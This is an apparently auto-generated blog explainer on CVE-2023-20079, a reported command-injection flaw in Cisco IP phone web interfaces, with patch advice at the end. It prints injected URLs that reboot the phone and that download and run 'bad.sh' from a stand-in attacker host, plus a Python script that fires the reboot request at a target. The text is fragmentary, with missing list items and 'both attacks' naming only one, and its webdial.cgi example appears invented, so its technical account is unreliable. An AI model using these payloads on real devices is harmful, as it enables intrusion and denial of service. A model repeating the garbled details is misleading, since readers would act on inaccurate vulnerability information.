If you use Cisco IP Phones in your organization, it’s time to pay close attention, especially if those phones have web management enabled. In early 2023, Cisco disclosed multiple vulnerabilities (grouped under CVE-2023-20079 and related CVEs) in the web-based management interface of several IP phone models. These flaws can let attackers execute code on affected devices without authentication, or even shut down your phones entirely with a single request.

In this guide, we'll break down CVE-2023-20079, show what makes it dangerous, run through a simplified exploit example, and point you to fixes and references.

What is CVE-2023-20079?

CVE-2023-20079 is tied to a set of vulnerabilities affecting the HTTP web server running on certain Cisco IP Phones, like the Cisco IP Phone 880 Series and others. These vulnerabilities stem from how the device's web UI handles user input and system commands. If an attacker crafts requests just right, they can send commands to the device, causing:

Denial of Service (DoS) — The device crashes, reboots, or otherwise goes offline

Both attacks don’t require any login or previous knowledge of your network. All that’s needed is that the web management interface is exposed (even only inside your network).

Cisco IP Phone 880 Series

- ...and potentially others (check Cisco’s advisory for a full list)

How Does the Attack Work?

The root cause is unchecked, unsafe handling of special HTTP requests. For instance, user input (like a query string) may be processed by the phone’s web app and passed directly to system commands without any filtering.

In simple terms:
An attacker can send a request to the phone’s web server, and the phone interprets part of it as an operating system command. That command is run as if it were legitimate, even though it’s not.

Suppose the web interface has a URL like this

http://<phone-ip>/webdial.cgi?number=911

If number isn’t checked properly, someone could send

http://<phone-ip>/webdial.cgi?number=911;reboot

If the backend processes this input without cleanup, it could execute the reboot command on the device, causing a denial of service.

An attacker could try

http://<phone-ip>/webdial.cgi?number=911;wget http://evil.site/bad.sh -O /tmp/bad.sh;sh /tmp/bad.sh

In this case, the device would download and run malicious code.

Python Exploit Snippet:
Below is a simplified Python script for educational purposes only. Do not use this on any device you do not own!

import requests

# Configure your target
target_ip = '192.168.1.100'

# Simple DoS: trigger reboot via command injection
malicious_url = f'http://{target_ip}/webdial.cgi?number=911;reboot';

response = requests.get(malicious_url)
if response.status_code == 200:
    print('Request sent, phone may have rebooted!')
else:
    print(f"Unexpected status code: {response.status_code}")

Attackers outside the network may target exposed management interfaces (if not firewalled)

- Phone as a foothold: If code runs on the phone, attackers may use it to pivot deeper into your network

Cisco’s Advisory and Patches

Cisco has released fixes for these issues. It’s crucial to upgrade firmware immediately. Disabling the web management interface is a strong stopgap if you cannot update right away.

Read the official advisory:
- Cisco Security Advisory: Multiple vulnerabilities in Cisco IP Phones Web Management Interface

Resources and References

- Cisco Advisory for CVE-2023-20079
- National Vulnerability Database entry
- Cisco IP Phone support docs

> Stay safe: Always keep your device firmware up to date and carefully limit which devices can reach sensitive interfaces!

Timeline

Published on: 03/03/2023 16:15:00 UTC
Last modified on: 03/10/2023 14:04:00 UTC